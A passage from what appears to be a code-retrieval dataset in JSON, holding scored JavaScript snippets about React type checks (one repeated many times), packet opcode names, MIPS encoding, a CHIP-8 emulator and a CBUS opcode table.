REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" }, { "docid": "bb15b3db7c326370d5473dd6d2e4525b", "score": "0.66967195", "text": "function isAsyncMode(object) {\n {\n if (!hasWarnedAboutDeprecatedIsAsyncMode) {\n hasWarnedAboutDeprecatedIsAsyncMode = true;\n lowPriorityWarning$1(false, 'The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.');\n }\n }\n return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE;\n}", "title": "" } ]
d14e044ca386a743e0a6f91504e54a17
Retrieves the name of the opcode for this packet (if available)
[ { "docid": "fbe90d58576dc8e2a599a289072e736a", "score": "0.8034549", "text": "get opcodeName() {\n return ObjectUtil.keyByValue(GameOpcode, this.opcode);\n }", "title": "" } ]
[ { "docid": "5390f555409eb2e13a6790dd49bea1c0", "score": "0.752988", "text": "get opcodeName() {\n return ObjectUtil.keyByValue(AuthOpcode, this.opcode);\n }", "title": "" }, { "docid": "e893a28b50476d35f8a6ad8932141afc", "score": "0.61664635", "text": "function opcode(block) {\n if (!block || block === undefined || block.length === 0) return '';\n return block[0];\n}", "title": "" }, { "docid": "e893a28b50476d35f8a6ad8932141afc", "score": "0.61664635", "text": "function opcode(block) {\n if (!block || block === undefined || block.length === 0) return '';\n return block[0];\n}", "title": "" }, { "docid": "46f3efe042d91daa7c216934e122a829", "score": "0.6153503", "text": "function packetEvtName( pkt ) {\n \n var name = pkt[\"cmd\"];\n var cmds = null;\n for(var index in chains) {\n \n cmds = chains[index];\n \n if(cmds[0] != name)\n continue;\n \n var sub = pkt.sub[0];\n name = name + '_' + sub[\"cmd\"];\n \n if(cmds.length > 1 && sub[\"param\"] != undefined) {\n if(cmds[1] == sub[\"cmd\"])\n return name + '_' + sub[\"param\"];\n }\n \n }\n \n return name;\n}", "title": "" }, { "docid": "f48a274ead276e1e9288410bd1903215", "score": "0.605564", "text": "function opName(operation) {\n return operation.name ? operation.name.value : '';\n}", "title": "" }, { "docid": "f48a274ead276e1e9288410bd1903215", "score": "0.605564", "text": "function opName(operation) {\n return operation.name ? operation.name.value : '';\n}", "title": "" }, { "docid": "f48a274ead276e1e9288410bd1903215", "score": "0.605564", "text": "function opName(operation) {\n return operation.name ? operation.name.value : '';\n}", "title": "" }, { "docid": "938b27a2dfcb3867af908728c452d52a", "score": "0.55452234", "text": "getOperation() {\n return this.err.op;\n }", "title": "" }, { "docid": "4693f1375859715b0849f302d199734b", "score": "0.554358", "text": "get commandName() {}", "title": "" }, { "docid": "87bc3bbd98c9d876726c924e9e702c08", "score": "0.5508714", "text": "function encodingI(opcode) {\n var returnVal;\n switch(opcode) {\n case(\"beq\"):\n returnVal = 4; break;\n case(\"bne\"):\n returnVal = 5; break;\n case(\"addi\"):\n returnVal = 8; break;\n case(\"addiu\"):\n returnVal = 9; break;\n case(\"andi\"):\n returnVal = 12; break;\n case(\"ori\"):\n returnVal = 13; break;\n case(\"xori\"):\n returnVal = 14; break;\n default:\n returnVal = TYPE_UNSUPPORTED;\n }\n return returnVal;\n}", "title": "" }, { "docid": "d623ff346d53d654a4d92ce362259dc2", "score": "0.54459804", "text": "function instructionType(opcode) {\n switch(opcode) {\n // Type R Shifts\n case \"sll\":\n case \"srl\":\n case \"sra\":\n case \"sllv\":\n case \"srlv\":\n case \"srav\":\n // Type R Multiplication & Division\n case \"mfhi\":\n case \"mthi\":\n case \"mflo\":\n case \"mtlo\":\n case \"mult\":\n case \"multu\":\n case \"div\":\n case \"divu\":\n // Type R Jumps\n case \"jr\":\n case \"jalr\":\n // Type R ALU Instructions\n case \"add\":\n case \"addu\":\n case \"sub\":\n case \"subu\":\n case \"and\":\n case \"or\":\n case \"xor\":\n case \"nor\":\n case \"slt\":\n case \"sltu\":\n return TYPE_R; break;\n // Type I Loads & Stores\n case \"lb\":\n case \"lh\":\n case \"lwl\":\n case \"lw\":\n case \"lbu\":\n case \"lhu\":\n case \"lwr\":\n case \"sb\":\n case \"sh\":\n case \"swl\":\n case \"sw\":\n case \"swr\":\n // Type I ALU Instructions\n case \"addi\":\n case \"addiu\":\n case \"slti\":\n case \"sltiu\":\n case \"andi\":\n case \"ori\":\n case \"xori\":\n case \"lui\":\n // Type I Branches\n case \"bltz\":\n case \"bgez\":\n case \"bltzal\":\n case \"bgezal\":\n case \"beq\":\n case \"bne\":\n case \"blez\":\n case \"bgtz\":\n return TYPE_I; break;\n // Type J Jumps\n case \"j\":\n case \"jal\":\n return TYPE_J; break;\n // Other\n case \"break\":\n default:\n return TYPE_INVALID;\n }\n}", "title": "" }, { "docid": "d594b03bcc2e1be33d3351ffb0227a0e", "score": "0.5380125", "text": "function getInstruction(instruction) {\n return instruction.instruction;\n}", "title": "" }, { "docid": "1d9856e90fd48d81f47d4a4e03b3527e", "score": "0.5190288", "text": "opcodetest(_opcode){\n\t\t\tthis._cpu.opcodetest(_opcode);\n\t\t}", "title": "" }, { "docid": "c1d516cc79164943eb043af871d2f07d", "score": "0.51151997", "text": "get instruction () {\n\t\treturn this._instruction;\n\t}", "title": "" }, { "docid": "921d4493372c6955c6d8e0ec4a3d7ed6", "score": "0.50904506", "text": "function getNiceOperator(operatorCode)\r\n{\r\n switch (operatorCode.toLowerCase())\r\n {\r\n case 'aoru':\r\n return 'Arithmetic Op Replace (Unary)';\r\n break;\r\n case 'coi':\r\n return 'Conditional Operator Insertion';\r\n break;\r\n default:\r\n return '';\r\n break;\r\n }\r\n}", "title": "" }, { "docid": "2621f93fdf5333363f9c98119408217f", "score": "0.50619197", "text": "getInstruction() {\n return this.getJavaClass().getInstructionSync();\n }", "title": "" }, { "docid": "bc2a03ddbb9e0ec84c20e03315b9bdaf", "score": "0.50322425", "text": "opcode4() {\n this.output += this.getParameter(1).toString();\n this.position += 2;\n }", "title": "" }, { "docid": "214f0c8f7997cb49892ec7ccd92c8d92", "score": "0.4991449", "text": "function getOp(evt) {\n evt.preventDefault();\n operator = this.value;\n console.log('clicked op', operator);\n}", "title": "" }, { "docid": "8eb8d034325902c6e24f2509aa125005", "score": "0.49338913", "text": "execute(opcode) {\n if(chip8.VERBOSE){\n console.log(instruction)\n }\n\n try {\n instruction = chip8.OPCODEMANAGER.getInstruction(opcode)\n instruction.execute(chip8)\n chip8.OPCODEMANAGER.record.enqueue(instruction)\n } catch(err) {\n console.error(err.message, \"opcode: \"+ opcode.toString(16), \"instruction: \"+instruction)\n }\n }", "title": "" }, { "docid": "8e52210cdd858e22580d4b2ca0b888bf", "score": "0.48978147", "text": "function code(name) {\n\t\tvar table = {38: 'up', 40: 'down', 37: 'left', 39: 'right', 27: 'esc'};\n\t\tif (table[name]) return table[name];\n\t\treturn String.fromCharCode(name);\n\t}", "title": "" }, { "docid": "02d267fd05d392a387db7fe61eb52bde", "score": "0.48931184", "text": "function code(name) {\n\t\tvar table = {38: 'up', 40: 'down', 37: 'left', 39: 'right', 27: 'esc'};\n\t\tif ( table[name] ) return table[name];\n\t\treturn String.fromCharCode(name);\n\t}", "title": "" }, { "docid": "2e790e42aa40148f7115b7290fc7cc1d", "score": "0.48473805", "text": "function matchOpCode(opcode) {\n // Decode opcode\n // TODO: change the switch statement once it's all working?\n // FIXME: fix the name of the var to something more accurate of what is happening here...\n // F000 keeps the first hex digit and makes the rest zero\n\n var hex = opcode.toString(16);\n state.allCodes.push(hex);\n\n // debugger;\n // FIXME: After this all works, consider removing the bit crazyness? or learn it properly...\n //\n //\n // Start with most specific, then go to less specifc\n // Anything with '0' will be nulled\n //\n // FIXME: is this order right? This worries me...\n var firstRange = opcode & 0xf0ff; // ie: A015, 8028. fe33 -> f033\n var secondRange = opcode & 0xf00f; // ie: 6001, A001. 82e9 -> 8009\n var thirdRange = opcode & 0xf000; // ie: 6000, 7000 etc. this will convert 0x6134 -> 0x6000 (for easier matching). In JS we don't really need this...\n var fourthRange = opcode & 0x00ff; // ie: 00ee, 0015. 12ee -> 00ee\n // capture 0xfe33 TODO: find a better var name\n\n var first = codes[firstRange];\n var second = codes[secondRange];\n var third = codes[thirdRange];\n var fourth = codes[fourthRange];\n\n // FIXME: Write something better for this cascade...\n // FIXME: Specificity here could break us, because the specificity could vary here. We have to be careful about the order...\n if (third) third(opcode);\n else if (first) first(opcode);\n else if (second) second(opcode);\n else if (fourth) fourth(opcode);\n else {\n console.log('### Unknown opcode: 0x%s\\n', opcode.toString(16));\n debugger;\n }\n\n // if (!first && second) return second(opcode);\n // if (!first && !second && third) return third(opcode);\n // if (!first && !second && !third && fourth) return fourth(opcode);\n // if (!first && !second && !third && !fourth) {console.log(\"### Unknown opcode: 0x%s\\n\", opcode.toString(16));debugger;}\n // first(opcode);\n}", "title": "" }, { "docid": "fc82e5448dbe21526e2822f53fa6918e", "score": "0.48463792", "text": "getCodeName() {\n var codes = {\n 0: \"API Unreachable\",\n 1: \" \",\n 200: \"Granted\",\n 401: \"No Credentials/Token\",\n 403: \"Invalid Credentials/Token\"\n };\n return codes[this.state.code] || \"Code \" + this.state.code;\n }", "title": "" }, { "docid": "dacab5c921ab9b11122ae0f4716b4671", "score": "0.48120627", "text": "async function getSymbol() {\n\t\tlet symbol = await erc20.symbol();\n\t\treturn symbol;\n\t}", "title": "" }, { "docid": "693809f49dcb46ec5ca32055aa994d13", "score": "0.48084286", "text": "executeNextOpcode() {\n var opcode = chip8.MEMORY[chip8.PC] << 8 | chip8.MEMORY[chip8.PC + 1]; // Decode command\n if (chip8.VERBOSE){\n console.log(\"Executing opcode: \"+opcode.toString(16))\n }\n chip8.PC += 2;\n chip8.execute(opcode); // Execute command\n }", "title": "" }, { "docid": "f8984c7a4567ff3c9f46178325b6e348", "score": "0.48066318", "text": "toString() {\n return this.operation.toString();\n }", "title": "" }, { "docid": "5a56fffc2bbd729aada68cbc05534a45", "score": "0.480442", "text": "function get_operator(c)\n{\n\tvar map_operator = {\n\t\t'×':'*',\n\t\t'÷':'/',\n\t\t'−':'-',\n\t\t'+':'+',\n\t\t'*':'*',\n\t\t'/':'/',\n\t\t'-':'-',\n\t\t'+':'+'\n\t};\n\tif(isOperator(c))\n\t{\n\t\treturn map_operator[c];\n\t}\n\telse\n\t{\n\t\treturn c;\n\t}\n}", "title": "" }, { "docid": "a7fbb619ee0f1d7c8e6e51322513d423", "score": "0.4793234", "text": "function __getOperatorForToken(tokenType, operandSlot)\r\n{\r\n if (operandSlot)\r\n {\r\n return __unaryOperatorMappings[tokenType];\r\n }\r\n else\r\n {\r\n return __binaryOperatorMappings[tokenType];\r\n }\r\n}", "title": "" }, { "docid": "cb3d0805d49ee476422678ea8710180e", "score": "0.47621384", "text": "function op(expr0) /* (expr : expr) -> exn string */ {\n if (expr0._tag === 1) {\n return expr0.op;\n }\n else if (expr0._tag === 2) {\n return expr0.op;\n }\n else {\n return $std_core.patternMatchError(\"src/expression.kk(26, 9)\", \"op\");\n }\n}", "title": "" }, { "docid": "2fe26d9529467a2e27c1ed14ce0212c4", "score": "0.47486544", "text": "function getEventName(name) {\n return name.charAt(2).toLowerCase() + name.substring(3);\n }", "title": "" }, { "docid": "8e546ecda468e4cd7a83a0854c07c8dc", "score": "0.4730014", "text": "function getHotKeyAction(e) {\n\tvar hks = HK_BINDINGS[e.which];\n\tif (hks) {\n\t\tfor (var i=0,len=hks.length; i<len; i++) {\n\t\t\tvar hk = hks[i];\n\t\t\tif (hk.testModifiers(e)) {\n\t\t\t\treturn ACTIONS[hk.id];\n\t\t\t}\n\t\t}\n\t}\n\treturn null;\n}", "title": "" }, { "docid": "8e546ecda468e4cd7a83a0854c07c8dc", "score": "0.4730014", "text": "function getHotKeyAction(e) {\n\tvar hks = HK_BINDINGS[e.which];\n\tif (hks) {\n\t\tfor (var i=0,len=hks.length; i<len; i++) {\n\t\t\tvar hk = hks[i];\n\t\t\tif (hk.testModifiers(e)) {\n\t\t\t\treturn ACTIONS[hk.id];\n\t\t\t}\n\t\t}\n\t}\n\treturn null;\n}", "title": "" }, { "docid": "2b24bae503045654289abe3965fccef7", "score": "0.47295338", "text": "getCodeName(code) {\n var codes = {\n 1: \"Subnet Mask\",\n 3: \"Default Gateway\",\n 6: \"DNS Server\",\n 15: \"Domain Name\",\n 28: \"Broadcast\",\n 42: \"NTP Server\",\n 67: \"Bootfile Name\"\n };\n return codes[code] || \"Code \" + code;\n }", "title": "" }, { "docid": "a63a396bad4344b61aaacec3ba62b28b", "score": "0.4717546", "text": "getCode() {\n if (!this.control)\n throw unRenderedError;\n return this.control.getCode();\n }", "title": "" }, { "docid": "c2e2d1bda633765d753cd43e212f2815", "score": "0.47139132", "text": "function getOperator(_, ctx) {\n return ctx.get(_.$ref) || (0, _vegaUtil.error)('Operator not defined: ' + _.$ref);\n}", "title": "" }, { "docid": "7230c08d066ebef9ea365e50dd42d4d8", "score": "0.4689418", "text": "testOpcode(opcode){\n state1 = chip8.stateDump();\n chip8.execute(opcode);\n state2 = chip8.stateDump();\n comp = chip8.stateCompare(state1,state2)\n chip8.statePrint(chip8.stateCompare(state1,state2));\n }", "title": "" }, { "docid": "8b3b4a81db5cf95583a72c2cf0a1b4c4", "score": "0.46819502", "text": "function getOperator (opID) {\n for (var i = 0; i < operators.length; i++) {\n if (operators[i].id === opID) {\n return operators[i];\n }\n }\n return undefined;\n }", "title": "" }, { "docid": "0143997eff54055c24953c82cad4ddc2", "score": "0.4655801", "text": "function hatCode(script) {\n return opcode(blocks(script)[0]);\n}", "title": "" }, { "docid": "0143997eff54055c24953c82cad4ddc2", "score": "0.4655801", "text": "function hatCode(script) {\n return opcode(blocks(script)[0]);\n}", "title": "" }, { "docid": "aa924d8c18604bfba7acbc13102b49b2", "score": "0.4620428", "text": "function getCharCode(code){\n\treturn String.fromCharCode(code);\n}", "title": "" }, { "docid": "dc6b7608db22486a03464aca8e97cf6d", "score": "0.46163115", "text": "function getOS() {\n return \"O\" + getOSSingleChar();\n}", "title": "" }, { "docid": "1ac8d6c21dcb6e603af4c86d1b008246", "score": "0.46157688", "text": "function cbusOpc(opc) {\n\tswitch(opc) {\n\t\n\tcase OPC_ACK: return \"ACK\";\t// General ack\n\tcase OPC_NAK: return \"NAK\";\t// General nak\n\tcase OPC_HLT: return \"HLT\";\t// Bus Halt\n\tcase OPC_BON: return \"BON\";\t// Bus on\n\tcase OPC_TOF: return \"TOF\";\t// Track off\n\tcase OPC_TON: return \"TON\";\t// Track on\n\tcase OPC_ESTOP: return \"ESTOP\";\t// Track stopped\n\tcase OPC_ARST: return \"ARST\";\t// System reset\n\tcase OPC_RTOF: return \"RTOF\";\t// Request track off\n\tcase OPC_RTON: return \"RTON\";\t// Request track on\n\tcase OPC_RESTP: return \"RESTP\";\t// Request emergency stop all\n\tcase OPC_RSTAT: return \"RSTAT\";\t// Request node status\n\tcase OPC_QNN: return \"QNN\";\t// Query nodes\n// \n\tcase OPC_RQNP: return \"RQNP\";\t// Read node parameters\n\tcase OPC_RQMN: return \"RQMN\";\t// Request name of module type\n// \n// Packets with 1 data byte\n// \n\tcase OPC_KLOC: return \"KLOC\";\t// Release engine by handle\n\tcase OPC_QLOC: return \"QLOC\";\t// Query engine by handle\n\tcase OPC_DKEEP: return \"DKEEP\";\t// Keep alive for cab\n// \n\tcase OPC_DBG1: return \"DBG1\";\t// Debug message with 1 status byte\n\tcase OPC_EXTC: return \"EXTC\";\t// Extended opcode\n// \n// Packets with 2 data bytes\n// \n\tcase OPC_RLOC: return \"RLOC\";\t// Request session for loco\n\tcase OPC_QCON: return \"QCON\";\t// Query consist\n\tcase OPC_SNN: return \"SNN\";\t// Set node number\n\tcase OPC_ALOC: return \"ALOC\";\t// Allocate loco (used to allocate to a shuttle in cancmd)\n// \n\tcase OPC_STMOD: return \"STMOD\";\t// Set Throttle mode\n\tcase OPC_PCON: return \"PCON\";\t// Consist loco\n\tcase OPC_KCON: return \"KCON\";\t// De-consist loco\n\tcase OPC_DSPD: return \"DSPD\";\t// Loco speed/dir\n\tcase OPC_DFLG: return \"DFLG\";\t// Set engine flags\n\tcase OPC_DFNON: return \"DFNON\";\t// Loco function on\n\tcase OPC_DFNOF: return \"DFNOF\";\t// Loco function off\n\tcase OPC_SSTAT: return \"SSTAT\";\t// Service mode status\n\tcase OPC_NNRSM: return \"NNRSM\";\t// Reset to manufacturer's defaults\n// \n\tcase OPC_RQNN: return \"RQNN\";\t// Request Node number in setup mode\n\tcase OPC_NNREL: return \"NNREL\";\t// Node number release\n\tcase OPC_NNACK: return \"NNACK\";\t// Node number acknowledge\n\tcase OPC_NNLRN: return \"NNLRN\";\t// Set learn mode\n\tcase OPC_NNULN: return \"NNULN\";\t// Release learn mode\n\tcase OPC_NNCLR: return \"NNCLR\";\t// Clear all events\n\tcase OPC_NNEVN: return \"NNEVN\";\t// Read available event slots\n\tcase OPC_NERD: return \"NERD\";\t// Read all stored events\n\tcase OPC_RQEVN: return \"RQEVN\";\t// Read number of stored events\n\tcase OPC_WRACK: return \"WRACK\";\t// Write acknowledge\n\tcase OPC_RQDAT: return \"RQDAT\";\t// Request node data event\n\tcase OPC_RQDDS: return \"RQDDS\";\t// Request short data frame\n\tcase OPC_BOOT: return \"BOOT\";\t// Put node into boot mode\n\tcase OPC_ENUM: return \"ENUM\";\t// Force can_id self enumeration\n\tcase OPC_NNRST: return \"NNRST\";\t// Reset node (as in 